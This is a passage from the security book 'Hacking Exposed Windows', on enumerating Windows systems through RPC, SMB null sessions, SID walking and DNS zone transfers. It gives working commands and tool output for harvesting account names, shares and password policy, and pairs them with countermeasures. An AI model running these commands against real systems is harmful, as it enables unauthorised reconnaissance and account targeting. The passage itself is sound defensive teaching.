the pantheon of Windows services susceptible \nto enumeration is Microsoft’s RPC Endpoint Mapper on TCP port 135. We’ll level with \nyou right up front and note that the information gathered via MSRPC is not on par with \nthat gathered from SMB (see the section “SMB Enumeration” later in this chapter), but \nthis service is almost always found on Windows networks and may even be exposed on \nthe Internet for such applications as Exchange.\nRPC Enumeration\nPopularity:\n7\nSimplicity:\n8\nImpact:\n1\nRisk Rating:\n5\nQuerying the RPC portmapper services on UNIX machines has traditionally been a \ntime-tested hacking technique. On Windows, the portmapper is called the RPC Endpoint \nMapper, and although the output is a lot messier than the UNIX equivalent, the concept \n" }, { "page_number": 111, "text": "Chapter 4: Enumeration \n83\nis the same. The epdump tool queries the RPC Endpoint Mapper and shows RPC service \ninterfaces bound to IP addresses and port numbers (albeit in a very crude form). This \ntool has been around for so long that we’re not sure of its origins, but it’s still effective \n(we’ve truncated the following output significantly to highlight key points):\nC:\\>epdump servername\nbinding is 'ncacn_ip_tcp:servername'\nint 12345678-1234-abcd-ef00-0123456789ab v1.0\n binding 0000@ncacn_ip_tcp:192.168.234.43[1025]\n annot 'IPSec Policy agent endpoint'\nint 3473dd4d-2e88-4006-9cba-22570909dd10 v5.1\n binding 0000@ncalrpc:[LRPC0000061c.00000001]\n annot 'WinHttp Auto-Proxy Service'\nint 1ff70682-0a51-30e8-076d-740be8cee98b v1.0\n binding 0000@ncacn_ip_tcp:192.168.234.43[1026]\n annot ''\nThe key things to note in this output are the int items, which specify RPC interfaces, \nand each subsequent binding and annot entry. The binding specifies the IP address \nand port number on which the RPC endpoint is listening (for example, \n192.168.234.43[1025]), and the annotation often lists the common name of the \nendpoint (for example, 'IPSec Policy agent endpoint').\nMore recent tools for dumping MSRPC endpoints include rpcdump. Several versions \nof rpcdump.exe are floating around. Don’t be confused by the rpcdump from David \nLitchfield (written circa 1999), which is a tool for querying the UNIX portmapper on TCP \n111. The other two versions of rpcdump are used to query MSRPC—one from the \nResource Kit and another written by Todd Sabin that comes as part of his RPC Tools \nsuite. Sabin’s rpcdump adds the ability to query each registered RPC server for all the \ninterfaces it supports via the RpcMgmtInqIfIds API call, so it can report more that just \nthe interfaces a server has registered. Sabin’s tool is a lot like epdump, listing each \nendpoint in sequence. Rpcdump from the Resource Kit categorizes its output into \ninterface types, which can help differentiate local RPC interfaces from the network \n(again, we’ve severely truncated the output here to highlight relevant information):\nC:\\>rpcdump /s servername\nQuerying Endpoint Mapper Database...\n31 registered endpoints found.\nncacn_np(Connection-oriented named pipes)\n \\\\SERVERNAME[\\PIPE\\protected_storage] [12345678]\n IPSec Policy agent endpoint :NOT_PINGED\nncalrpc(Local Rpc)\n [dsrole] [12345678] IPSec Policy agent endpoint\n :NOT_PINGED\n" }, { "page_number": 112, "text": "84 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nncacn_ip_tcp(Connection-oriented TCP/IP)\n 192.168.234.44[1025] [12345778] :NOT_PINGED\n 192.168.234.44[1026] [0a74ef1c] :NOT_PINGED\n 192.168.234.44[1026] [378e52b0] :NOT_PINGED\n 192.168.234.44[1026] [1ff70682] :NOT_PINGED\n 192.168.234.44[1025] [12345678] IPSec Policy agent\n endpoint :NOT_PINGED\nrpcdump completed sucessfully after 1 seconds\nYou’ll note that none of the information disclosed in the output is overwhelmingly \nuseful to an attacker. Depending on the RPC endpoints available, further manipulation \ncould be possible. Typically, the most useful information in this output is the internal IP \naddress of multihomed systems, as well as virtual IP addresses hosted on the same \nserver, which appear as RPC interface bindings. This data can give potential intruders a \nbetter idea of what kind of system they are dealing with, including RPC applications that \nare running, but that’s about it.\nRPC Enumeration Countermeasures\nThe best defense against RPC enumeration is to block access to the RPC Endpoint Mapper \nservice (RPC-EPMAP) on TCP/UDP 135. This service is available by default on Windows \nServer products (including 2008), but not clients—it is blocked by the default Windows \nFirewall configuration in Vista per the Remote Administration (RPC-EPMAP) rule \ndefined by default for the Public and Private firewall profiles.\nOutright blocking RPC-EPMAP can prove challenging to organizations that publish \nMSRPC-based applications on the Internet, the primary example being Exchange, which \nmust have TCP 135 accessible for Messaging Application Programming Interface (MAPI) \nclients. Some workarounds to this situation include using Outlook Web Access (OWA) \nrather than MAPI or using RPC over HTTP (TCP 593). You could also consider using a \nfirewall or virtual private network (VPN) to preauthenticate access to RPC; here again, \nthe built-in Windows Firewall in Vista and later provides this option out of the box.\nTo get more granular control over what named pipes can be accessed by anonymous \nusers, you could remove the EPMAPPER entry from the Network Access: Named Pipes \nThat Can Be Accessed Anonymously setting that can be accessed via Security Policy.\nDon’t forget that the Endpoint Mapper only redirects clients to the appropriate RPC \nport for an application—remember to lock down access to those ports as well. See the \n“References and Further Reading” section at the end of this chapter for a link to more \ninformation on restricting the dynamic allocation of RPC service endpoints.\nSMB ENUMERATION\nNext, we discuss the most widely enumerated Windows interface, Server Message Block \n(SMB), which forms the basis for Microsoft’s File and Print Sharing services. In our \ndiscussion of SMB enumeration, we demonstrate the null session, which is an all-time \nclassic enumeration technique. The null session allows an anonymous attacker to extract \na great deal of information about a system—most importantly, account names.\n" }, { "page_number": 113, "text": "Chapter 4: Enumeration \n85\nSMB Enumeration: Null Sessions\nPopularity:\n5\nSimplicity:\n7\nImpact:\n3\nRisk Rating:\n5\nOne of Windows’ most serious Achilles’ heels has traditionally been its default \nreliance on the Common Internet File System/Server Message Block (CIFS/SMB; \nhereafter, just SMB) networking protocols. The SMB specs include APIs that return rich \ninformation about a machine via TCP ports 139 and 445, even to unauthenticated users. \nThe first step in accessing these APIs remotely is creating just such an unauthenticated \nconnection to a Windows system by using the so-called “null session” command, \nassuming TCP port 139 or 445 is shown listening by a previous port scan:\nC:\\>net use \\\\192.168.202.33\\IPC$ \"\" /u:\"\"\nThe command completed successfully.\nThis syntax connects to the hidden interprocess communications “share” (IPC$) at IP \naddress 192.168.202.33 as the built-in anonymous user (/u: \"\") with a null (\"\") password. \nIf successful, the attacker now has an open channel over which to attempt all the various \ntechniques outlined in the rest of this section to pillage as much information as possible \nfrom the target: network information, shares, users, groups, Registry keys, and so on.\nAlmost all the information-gathering techniques described in this section on host \nenumeration take advantage of this single out-of-the-box security failing of Windows. \nWhether you’ve heard it called the “Red Button” vulnerability, null session connections, \nor anonymous logon, it can be the single most devastating network foothold sought by \nintruders.\nMicrosoft has made some progress against disabling null sessions in default client configurations: \nWindows client products including XP and later block null sessions out of the box. Null sessions are \nstill available by default on Windows Server products (including Server 2003 and 2008 as of Build \n1715); however, access to sensitive information is blocked by default security policy configuration \n(some information is available if the machine is configured as a domain controller). Next we discuss \nthe various attacks that can be performed over null sessions against a Windows Server 2003 domain \ncontroller (these attacks are blocked by default in Server 2008).\nEnumerating Shares With a null session established, we can also fall back on good ol’ net \nview to enumerate shares on remote systems:\nC:\\>net view \\\\vito\nShared resources at \\\\192.168.7.45\nVITO\n" }, { "page_number": 114, "text": "86 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nShare name Type Used as Comment\n-----------------------------------------------------------------------\nNETLOGON Disk Logon server share\nTest Disk Public access\nFinance Disk Transaction records\nWeb Disk Webroot for acme.com\nThe command completed successfully.\nThree other good share-enumeration tools from the Resource Kit are rmtshare, \nsrvcheck, and srvinfo (using the –s switch). Rmtshare generates output similar to net \nview. Srvcheck displays shares and authorized users, including hidden shares, but it \nrequires privileged access to the remote system to enumerate users and hidden shares. \nSrvinfo’s –s parameter lists shares along with a lot of other potentially revealing \ninformation.\nEnumerating Trusted Domains Once a null session is set up to one of the machines in the \nenumerated domain, the nltest /server: /domain_trusts syntax can be \nused to learn about other Windows domains with trust relationships to the first. This \ninformation will come in handy when we discuss Local Security Authority (LSA) secrets \nin Chapter 7.\nEnumerating Users In the good ol’ days of hacking, Windows machines would cough up \naccount information just about as easily as they revealed shares. Some key changes to the \ndefault configuration around null session access in Windows XP and later have put a \nstop to all that. For this reason, the following examples were run against a Windows \nServer 2003 domain controller—this command would be denied against a default stand-\nalone or member server configuration.\nA few Resource Kit tools can provide more information about users via null sessions, \nsuch as the usrstat, showgrps, local, and global utilities. We typically use the local utility \nto dump the members of the local Administrators group on a target server:\nC:\\>local administrators \\\\caesars\nAdministrator\nEnterprise Admins\nDomain Admins\nbackadmin\nNote that the RID 500 account is always listed first in this output and that additional \nadministrative accounts (such as backadmin) are listed after groups.\nThe global tool can be used in the same way to find the members of the Domain \nAdmins:\nC:\\>global \"domain admins\" \\\\caesars\nAdministrator\nbackadmin\n" }, { "page_number": 115, "text": "Chapter 4: Enumeration \n87\nIn the next section, we discuss some all-in-one enumeration tools that also do a \ngreat job of enumerating users, in addition to shares, trusts, and other tantalizing \ninformation.\nAll-in-One SMB Enumeration Tools The tools we’ve shown you so far are all single-purposed. \nIn the following paragraphs, we introduce some all-purpose enumeration tools that \nperform all of the SMB enumeration techniques we’ve seen so far—and then some!\nOne of the best tools for enumerating Windows systems is DumpSec (formerly \nDumpACL) from SomarSoft. Few tools deserve their place in the Windows security \nauditor’s toolbox more than DumpSec. It audits everything from file system permissions \nto services available on remote systems. DumpSec has an easy-to-use graphical interface, \nor it can be run from the command line, making for easy automation and scripting.\nTo use DumpSec anonymously, first set up a null session to a remote system. Then, in \nDumpSec, choose Report | Select Computer and type in the name of the remote system. \n(Make sure to use the exact name you used to create the null session, or you will get an \nerror.) Then select whatever report you want to run from the Reports menu. Figure 4-2 \nshows DumpSec being used to dump share information from a remote computer by \nchoosing Report | Dump Permissions For Shares. Note that this displays both hidden \nand non-hidden shares.\nDumping shares over a null session is still possible by default on Windows Server \n2003. DumpSec can also dump user account information, but only if the target system \nhas been configured to permit release of such information over a null session (some \nmight say misconfigured). Windows Server 2003 domain controllers will permit this \nactivity by default, so the following examples were run against that target. In this \nexample, we use DumpSec from the command line to generate a file containing user \nFigure 4-2 DumpSec reveals all shares over a null session.\n" }, { "page_number": 116, "text": "88 \nHacking Exposed Windows: Windows Security Secrets & Solutions \ninformation from the remote computer (remember that DumpSec requires a null session \nwith the target computer to operate):\nC:\\>dumpsec /computer=\\\\caesars /rpt=usersonly\n/saveas=tsv /outfile=c:\\temp\\users.txt\nC:\\>cat c:\\temp\\users.txt\n5/26/2003 3:39 PM - Somarsoft DumpSec (formerly DumpAcl) - \\\\caesars\nUserName FullName Comment\nAdministrator\nBuilt-in account for administering the computer/domain\nbackadmin backadmin\nGuest\nBuilt-in account for guest access to the computer/domain\nIUSR_CAESARS\nInternet Guest Account Built-in account for anonymous access to\nInternet Information Services\nIWAM_CAESARS Launch IIS Process Account\nBuilt-in account for Internet\nInformation Services to start out of process applications\nkrbtgt Key Distribution Center Service Account\nSUPPORT_388945a0 CN=Microsoft Corporation,L=Redmond,S=Washington,C=US\nThis is a vendor's account for the Help and Support Service\nUsing the DumpSec GUI, many more information fields can be included in the report, \nbut the format shown here usually ferrets out troublemakers. For example, we once came \nacross a server that stored the password for the renamed Administrator account in the \nFullName field!\nDumpSec is also capable of gathering policies, user rights, and services over a null \nsession, but these items are restricted by default on Windows.\nIt took the RAZOR team from BindView to throw just about every SMB enumeration \nfeature into one tool, and then some. They called it enum—fittingly enough for this \nchapter. The following listing of the available command-line switches for this tool \ndemonstrates how comprehensive it is.\nC:\\>enum\nusage: enum [switches] [hostname|ip]\n -U: get userlist\n -M: get machine list\n -N: get namelist dump (different from -U|-M)\n -S: get sharelist\n -P: get password policy information\n -G: get group and member list\n -L: get LSA policy information\n -D: dictionary crack, needs -u and -f\n -d: be detailed, applies to -U and -S\n -c: don't cancel sessions\n" }, { "page_number": 117, "text": "Chapter 4: Enumeration \n89\n -u: specify username to use (default \"\")\n -p: specify password to use (default \"\")\n -f: specify dictfile to use (wants -D)\nEnum even automates the setup and teardown of null sessions. Of particular note is \nthe password policy enumeration switch, -P, which tells remote attackers whether they \ncan remotely guess user account passwords (using –D, -u, and –f) until they find a weak \none. The following example has been edited for brevity to show enum in action against \na Windows Server 2003 domain controller:\nC:\\>enum -U -d -P -L -c caesars\nserver: caesars\nsetting up session... success.\npassword policy:\n min length: none\n min age: none\n max age: 42 days\n lockout threshold: none\n lockout duration: 30 mins\n lockout reset: 30 mins\nopening lsa policy... success.\nserver role: 3 [primary (unknown)]\nnames:\n netbios: VEGAS2\n domain: VEGAS2\nquota:\n paged pool limit: 33554432\n non paged pool limit: 1048576\n min work set size: 65536\n max work set size: 251658240\n pagefile limit: 0\n time limit: 458672\ntrusted domains:\n indeterminate\nnetlogon done by a PDC server\ngetting user list (pass 1, index 0)... success, got 7.\n Administrator (Built-in account for administering the computer/do-\nmain)\n attributes:\n backadmin attributes: disabled\n Guest (Built-in account for guest access to the computer/domain)\n attributes: disabled no_passwd\n IUSR_CAESARS\n (Built-in account for anonymous access to\n Internet Information Services)\n attributes: no_passwd\n IWAM_CAESARS\n" }, { "page_number": 118, "text": "90 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n (Built-in account for Internet Information Services to start out\n of process applications)\n attributes: no_passwd\n krbtgt (Key Distribution Center Service Account)\n attributes: disabled\n SUPPORT_388945a0 (This is a vendor's account for the\n Help and Support Service)\n attributes: disabled\nEnum will also perform remote password guessing one user at a time using the –D\n–u -f arguments.\nAnother great enumeration tool written by Sir Dystic, called nete (NetE), will extract \na wealth of information from a null session connection. We like to use the /0 switch to \nperform all checks, but here’s the command syntax for nete to give some idea of the \ncomprehensive information it can retrieve via null session:\nC:\\>nete\nNetE v.96 Questions, comments, etc. to sirdystic@cultdeadcow.com\nUsage: NetE [Options] \\\\MachinenameOrIP\n Options:\n /0 - All NULL session operations\n /A - All operations\n /B - Get PDC name\n /C - Connections\n /D - Date and time\n /E - Exports\n /F - Files\n /G - Groups\n /I - Statistics\n /J - Scheduled jobs\n /K - Disks\n /L - Local groups\n /M - Machines\n /N - Message names\n /Q - Platform specific info\n /P - Printer ports and info\n /R - Replicated directories\n /S - Sessions\n /T - Transports\n /U - Users\n /V - Services\n /W - RAS ports\n /X - Uses\n /Y - Remote registry trees\n /Z - Trusted domains\n" }, { "page_number": 119, "text": "Chapter 4: Enumeration \n91\nBypassing RestrictAnonymous Following the release of NT 4 Service Pack 3, Microsoft \nattempted to defend against the null session enumeration vulnerability by creating the \nRestrictAnonymous configuration option (see the upcoming “SMB Enumeration \nCountermeasures” section). However, some enumeration tools and techniques will still \nextract sensitive data from remote systems, even if RestrictAnonymous is configured to \nrestrict it. We’ll discuss some of these tools next.\nTwo extremely powerful Windows enumeration tools are sid2user and user2sid by \nEvgenii Rudnyi. They are command-line tools that look up Windows SIDs from username \ninput and vice versa. (SIDs are introduced and described in Chapter 2.) To use them \nremotely requires null session access to the target machine. The following techniques \nwill work against out-of-the-box Windows Server 2003 and Server 2008 domain \ncontrollers (since the policy Allow Anonymous SID/Name Translation is enabled by \ndefault).\nFirst, we extract a domain SID using user2sid:\nC:\\>user2sid \\\\192.168.202.33 \"domain users\"\nS-1-5-21-8915387-1645822062-1819828000-513\nNumber of subauthorities is 5\nDomain is WINDOWSNT\nLength of SID in memory is 28 bytes\nType of SID is SidTypeGroup\nThis tells us the SID for the machine—the string of numbers that begins with S-1 separated \nby hyphens in the first line of output.\nAs we saw in Chapter 2, the numeric string following the last hyphen is called the \nrelative identifier (RID), and it is predefined for built-in Windows users and groups such \nas Administrator or Guest. For example, the Administrator user’s RID is always 500, and \nthe Guest user’s RID is 501. Armed with this tidbit, a hacker can use sid2user and the \nknown SID string appended with a RID of 500 to find the name of the Administrator’s \naccount (even if it’s been renamed):\nC:\\>sid2user \\\\192.168.2.33 5 21 8915387 1645822062 18198280005 500\nName is godzilla\nDomain is WINDOWSNT\nType of SID is SidTypeUser\nNote that the S-1 and hyphens are omitted. Another interesting factoid is that the first \naccount created on any Windows NT–family local system or domain is assigned an RID \nof 1000, and each subsequent object gets the next sequential number after that (1001, \n1002, 1003, and so on—RIDs are not reused on the current installation). Thus, once the \nSID is known, a hacker can basically enumerate every user and group on an NT/2000 \nsystem, past and present.\n" }, { "page_number": 120, "text": "92 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nHere’s a simple example of how to script user2sid/sid2user to loop through all of the \navailable user accounts on a system. Before running this script, we first determine the \nSID for the target system using user2sid over a null session, as shown previously. \nRecalling that NT/2000 assigns new accounts an RID beginning with 1000, we then \nexecute the following loop using the NT/2000 shell command FOR and the sid2user tool \n(see earlier) to enumerate up to 50 accounts on a target:\nC:\\>for /L %i IN (1000,1,1050) DO sid2user \\\\acmepdc1 5 21 1915163094\n 1258472701648912389 %I >> users.txt\nC:\\>cat users.txt\nName is IUSR_ACMEPDC1\nDomain is ACME\nType of SID is SidTypeUser\nName is MTS Trusted Impersonators\nDomain is ACME\nType of SID is SidTypeAlias\n. . .\nThis raw output could be sanitized by piping it through a filter to leave just a list of \nusernames. Of course, the scripting environment is not limited to the NT shell—Perl, \nVBScript, or whatever is handy will do. As one last reminder before we move on, realize \nthat this example will successfully dump users as long as TCP port 139 or 445 is open on \nthe target, even if RestrictAnonymous is configured to the moderately conservative \nsetting of “1” (again, see the upcoming “SMB Enumeration Countermeasures” section \nfor explicit RestrictAnonymous values and their meaning).\nThe UserDump tool, discussed shortly, automates this “SID walking” enumeration technique.\nConfigure the Security Policy setting Network Access: Allow Anonymous SID/Name Translation to \nDisabled in Windows XP and later to prevent this attack.\nThe UserInfo tool from Tim Mullen (thor@hammerofgod.com) will enumerate user \ninformation over a null session even if RestrictAnonymous is set to 1. By querying \nNetUserGetInfo API call at Level 3, UserInfo accesses the same sensitive information as \nother tools like DumpSec that are stymied by RestrictAnonymous = 1. Here’s UserInfo \nenumerating the Administrator account on a remote system with RestrictAnonymous = 1:\nC:\\>userinfo \\\\victim.com Administrator\n UserInfo v1.5 - thor@hammerofgod.com\n" }, { "page_number": 121, "text": "Chapter 4: Enumeration \n93\n Querying Controller \\\\mgmgrand\n USER INFO\n Username: Administrator\n Full Name:\n Comment: Built-in account for\n administering the computer/domain\n User Comment:\n User ID: 500\n Primary Grp: 513\n Privs: Admin Privs\n OperatorPrivs: No explicit OP Privs\n SYSTEM FLAGS (Flag dword is 66049)\n User's pwd never expires.\n MISC INFO\n Password age: Mon Apr 09 01:41:34 2001\n LastLogon: Mon Apr 23 09:27:42 2001\n LastLogoff: Thu Jan 01 00:00:00 1970\n Acct Expires: Never\n Max Storage: Unlimited\n Workstations:\n UnitsperWeek: 168\n Bad pw Count: 0\n Num logons: 5\n Country code: 0\n Code page: 0\n Profile:\n ScriptPath:\n Homedir drive:\n Home Dir:\n PasswordExp: 0\n Logon hours at controller, GMT:\n Hours- 12345678901N12345678901M\n Sunday 111111111111111111111111\n Monday 111111111111111111111111\n Tuesday 111111111111111111111111\n Wednesday 111111111111111111111111\n Thursday 111111111111111111111111\n Friday 111111111111111111111111\n Saturday 111111111111111111111111\n Get hammered at HammerofGod.com!\n" }, { "page_number": 122, "text": "94 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nA related tool from Tim Mullen is UserDump. It enumerates the remote system SID \nand then “walks” expected RID values to gather all user account names. UserDump \ntakes the name of a known user or group and iterates a user-specified number of times \nthrough SIDs 1001 and up. UserDump will always get RID 500 (Administrator) first, and \nit then begins at RID 1001 plus the maximum number of queries specified. (A MaxQueries \nsetting of 0 or blank returns SID 500 and 1001.) Here’s a sample of UserDump in action \nagainst a Windows Server 2003 domain controller:\nC:\\>userdump \\\\mgmgrand guest 10\n UserDump v1.11 - thor@hammerofgod.com\n Querying Controller \\\\mgmgrand\n USER INFO\n Username: Administrator\n Full Name:\n Comment: Built-in account for\n administering the computer/domain\n User Comment:\n User ID: 500\n Primary Grp: 513\n Privs: Admin Privs\n OperatorPrivs: No explicit OP Privs\n[snip]\nLookupAccountSid failed: 1007 does not exist...\nLookupAccountSid failed: 1008 does not exist...\nLookupAccountSid failed: 1009 does not exist...\nGet hammered at HammerofGod.Com!\nAnother tool called GetAcct by Urity performs this same SID walking technique. \nGetAcct has a graphical interface and can export results to a comma-separated file for \nlater analysis. It does not require the presence of an Administrator or Guest account on \nthe target server. GetAcct is shown in Figure 4-3, obtaining user account information \nfrom a system with RestrictAnonymous = 1.\nWalksam, one of three RPCTools from Todd Sabin, also walks the Security Accounts \nManager (SAM) database and dumps out information about each user found. It \nsupports both the “traditional” method of doing this via named pipes and the \nadditional mechanisms that are used by Windows domain controllers. It can bypass \n" }, { "page_number": 123, "text": "Chapter 4: Enumeration \n95\nRestrictAnonymous = 1 if null sessions are feasible. Here’s an abbreviated example of \nwalksam in action (note that a null session already exists with the target server):\nC:\\rpctools>walksam 192.168.234.44\nrid 500: user Administrator\nUserid: Administrator\nFull Name:\nHome Dir:\nHome Drive:\nLogon Script:\nProfile:\nDescription: Built-in account for administering the computer/domain\nWorkstations:\nProfile:\nUser Comment:\nLast Logon: 7/21/2001 5:39:58.975\nLast Logoff: never\nLast Passwd Change: 12/3/2000 5:11:14.655\nAcct. Expires: never\nFigure 4-3 GetAcct walks SIDs via null session, bypassing RestrictAnonymous = 1.\n" }, { "page_number": 124, "text": "96 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAllowed Passwd Change: 12/3/2000 5:11:14.655\nRid: 500\nPrimary Group Rid: 513\nFlags: 0x210\nFields Present: 0xffffff\nBad Password Count: 0\nNum Logons: 88\nrid 501: user Guest\nUserid: Guest\n[etc.]\nWe hope you enjoyed this little stroll down memory lane. Next, we’re going to discuss \nsome major improvements to Windows XP and later that essentially eliminate the need \nto worry about RestrictAnonymous.\nSMB Enumeration Countermeasures\nBlocking or restricting the damage feasible via Windows SMB enumeration can be \naccomplished in several ways:\n• Block access to TCP ports 139 and 445 at the network or host level.\n• Disable SMB services.\n• Set Network Access settings in Security Policy appropriately.\n• Upgrading to Windows XP SP2 or later, which effectively blocks all the attacks \ndescribed so far in the default confi guration (unless the system is a domain \ncontroller).\nThe best way, of course, is to limit untrusted access to these services using a network \nfirewall, which is why we’ve listed this option first. Also consider the use of filters such \nas the Windows Firewall on individual hosts to restrict SMB access and for “defense-in-\ndepth,” in case the network edge firewall is penetrated. \nLet’s discuss the other options in more depth.\nDisabling SMB Disabling SMB on Windows can be quite confusing depending on what \nversion of Windows you’re using. First, identify the network connection you want to \nconfigure in the Network Connections Control Panel. (The connections with Local Area \nConnection in their names are typically the primary LAN connections for the system; you \nmay have to spend some time figuring out which one is plugged into the network on \nwhich you want to disable SMB.) On Vista and later, you’ll find network connections \nunder Control Panel\\Network and Internet\\Network Connections. Right-click the \nconnection you want and select Properties. On the Properties sheet, click Internet Protocol \n(TCP/IP) (on Vista and later, this is called Internet Protocol Version 4 TCP/IPv4). Then \nclick the Properties button, and in the ensuing dialog box, click the Advanced button, \nnavigate to the WINS tab, and locate the setting called Disable NetBIOS Over TCP/IP, as \nshown in Figure 4-4.\n" }, { "page_number": 125, "text": "Chapter 4: Enumeration \n97\nMost users assume that by disabling NetBIOS over TCP/IP, they have successfully \ndisabled SMB access to their machines. This is incorrect. This setting disables only the \nNetBIOS Session Service, TCP 139.\nNewer Windows versions run another SMB listener on TCP 445. This port will remain \nactive even if NetBIOS over TCP/IP is disabled. Windows SMB client versions later than \nNT 4 Service Pack 6a will automatically fail over to TCP 445 if a connection to TCP 139 \nfails, so null sessions can still be established by up-to-date clients even if TCP 139 is \ndisabled or blocked. To disable SMB on TCP 445 on Windows Server 2003 and earlier, \nopen the Network Connections applet in Control Panel, choose Advanced | Advanced \nSettings, and then deselect File And Printer Sharing For Microsoft Networks on the \nappropriate adapter. In Vista and later, File And Printer Sharing For Microsoft Networks \ncan be disabled under the properties of the connection, as shown in Figure 4-5.\nWith File And Printer Sharing disabled, null sessions will not be possible over 139 \nand 445 (along with File And Printer Sharing, obviously). No reboot is required for this \nchange to take effect. TCP 139 will still appear in port scans, but no connectivity will be \npossible.\nFigure 4-4 Disabling NetBIOS over TCP/IP will disable only TCP 139, leaving the system still \nvulnerable to enumeration over TCP 445.\n" }, { "page_number": 126, "text": "98 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAnother way to prevent access to SMB-based services is to disable the Server service via the Services \nAdministrative tool (services.msc), which turns off File and Print Sharing, restricts access to named \npipes over the network, and disables the IPC$ share. Of course, this disables all resource-sharing \nservices such as File and Print Sharing.\nConfiguring “Network Access” in Security Policy If you need to provide access to SMB (say, \nfor a domain controller), disabling SMB is not an option. Following the release of NT 4 \nService Pack 3, Microsoft attempted to defend against the null session enumeration \nvulnerability by creating the RestrictAnonymous Registry value:\nHKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA\\RestrictAnonymous\nRestrictAnonymous is a REG_DWORD and can be set to one of three possible values: \n0, 1, or 2. These values are described in Table 4-4.\nFigure 4-5 Disabling SMB completely on Vista, over both TCP 139 and 445\n" }, { "page_number": 127, "text": "Chapter 4: Enumeration \n99\nWith Windows 2000, Microsoft exposed this setting via the Security Policy MMC \nsnap-in (secpol.msc), which provided a GUI to the many arcane security-related Registry \nsettings such as RestrictAnonymous that needed to be configured manually under NT 4. \nThe setting was called Additional Restrictions for Anonymous Connections in Windows 2000 \npolicy, and it introduced a third value called No Access Without Explicit Anonymous \nPermissions. (This is equivalent to setting the RestrictAnonymous Registry value equal to \n2; see Table 4-4.) This third option is no longer exposed via the policy interface Windows \nXP and later, but the Registry value persists.\nInterestingly, setting RestrictAnonymous to 1 does not actually block anonymous \nconnections. However, it does prevent most of the information leaks available over the \nnull session, primarily enumeration of user accounts and shares. As we’ve shown \npreviously, some enumeration tools and techniques will still extract sensitive data from \nremote systems, even if RestrictAnonymous is set to 1.\nSetting RestrictAnonymous to 2 prevents the special Everyone identity from being \nincluded in anonymous access tokens. It effectively blocks null sessions from being \ncreated:\nC:\\>net use \\\\mgmgrand\\ipc$ \"\" /u:\"\"\nSystem error 5 has occurred.\nAccess is denied.\nSetting RestrictAnonymous to this most secure setting (2) has the deleterious effect of \npreventing down-level client access and trusted domain enumeration. (Windows 95 \nclients can be updated with the dsclient utility to alleviate some of this; see Microsoft KB \narticle Q246261 for more details.) To address these issues, the interface to control \nanonymous access has been redesigned in Windows XP and later to provide more \ngranularity and better out-of-the-box security.\nThe most immediate change visible in the Security Policy’s Security Options node is \nthat the option Additional Restrictions For Anonymous Connections (which configured \nRestrictAnonymous Windows 2000) is gone. Under Windows XP and later, all settings \nunder Security Options have been organized into categories. The settings relevant to \nrestricting anonymous access fall under the category with the prefix Network Access. \nTable 4-5 shows the new settings and our recommended configurations.\nValue\nSecurity Level\n0\nNone; relies on default permissions\n1\nDoes not allow enumeration of SAM accounts and names\n2\nNo access without explicit anonymous permissions\nTable 4-4 RestrictAnonymous Values\n" }, { "page_number": 128, "text": "100 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nLooking at Table 4-5, it’s clear that the main additional advantage gained by Windows \nXP and later versions is more granular control over resources that are accessible via null \nsessions. Providing more options is always better, but we still liked the elegant simplicity \nof Windows 2000’s RestrictAnonymous = 2, because null sessions simply were not \npossible. Of course, compatibility suffered, but hey, we’re security guys, okay? Simple \nalways beats complex when it comes to security. At any rate, we were unable to penetrate \nthe settings outlined in Table 4-5 using the tools discussed in this chapter.\nEven better, the settings in Table 4-5 can be applied at the organizational unit (OU), \nsite, or domain level so they can be inherited by all child objects in Active Directory if \napplied from a Windows domain controller. This requires the Group Policy functionality \nof a Windows domain controller, of course.\nWindows XP and Later Setting\nRecommended Confi guration\nNetwork Access Allow \nanonymous SID/Name translation\nDisabled Blocks user2sid and similar \ntools (this is enabled on DCs).\nNetwork Access Do not allow \nanonymous enumeration of SAM \naccounts\nEnabled Blocks tools that bypass \nRestrictAnonymous = 1.\nNetwork Access Do not allow \nanonymous enumeration of SAM \naccounts and shares\nEnabled Blocks tools that bypass \nRestrictAnonymous = 1 (this is disabled \non DCs).\nNetwork Access Let Everyone \npermissions apply to anonymous \nusers\nDisabled Although this looks like \nRestrictAnonymous = 2, null sessions \nare still possible.\nNetwork Access Named pipes \nthat can be accessed anonymously\nDepends on system role. You may \nconsider removing SQL\\QUERY and \nEPMAPPER to block SQL and MSRPC \nenumeration, respectively.\nNetwork Access Remotely \naccessible Registry paths\nDepends on system role. Most secure is \nto leave this empty.\nNetwork Access Remotely \naccessible Registry paths and \nsubpaths\nDepends on system role. Most secure is \nto leave this empty.\nNetwork Access Restrict \nanonymous access to named pipes \nand shares\nEnabled\nNetwork Access Shares that can \nbe accessed anonymously\nDepends on system role. Empty is most \nsecure; the default is COMCFG, DFS$.\nTable 4-5 Anonymous Access Settings on Windows XP and Later\n" }, { "page_number": 129, "text": "Chapter 4: Enumeration \n101\nBy default, Windows domain controllers relax some of the settings that prevent SMB enumeration—\nsee Table 4-5.\nDon’t forget to make sure Security Policy is applied, either by right-clicking the Security Settings node \nin the MMC and selecting Reload or by refreshing Group Policy on a domain.\nWINDOWS DNS ENUMERATION\nAs we saw in Chapter 3, one of the primary sources of footprinting information is the \nDomain Name System (DNS), the Internet standard protocol for matching host IP \naddresses with human-friendly names like amazon.com. With the advent of Active \nDirectory (AD) in Windows 2000, which bases its namespace on DNS, Microsoft revamped \nits DNS server implementation to accommodate the needs of AD and vice versa.\nActive Directory relies on the DNS SRV record (RFC 2052), which allows servers to \nbe located by service type (for example, Global Catalog, Kerberos, and LDAP) and \nprotocol (for example, TCP). Thus, a simple zone transfer can enumerate a lot of \ninteresting network information, as shown next.\nWindows 2000 DNS Zone Transfers\nPopularity:\n3\nSimplicity:\n7\nImpact:\n2\nRisk Rating:\n4\nPerforming zone transfers is easy using the built-in nslookup tool. In the following \nexample, a zone transfer is executed against the Windows 2000 domain labfarce.org \n(edited for brevity and line-wrapped for legibility):\nC:\\>nslookup\nDefault Server: corp-dc.labfarce.org\nAddress: 192.168.234.110\n\\>> ls -d labfarce.org\n[[192.168.234.110]]\n labfarce.org. SOA corp-dc.labfarce.org admin.\n labfarce.org. A 192.168.234.110\n labfarce.org. NS 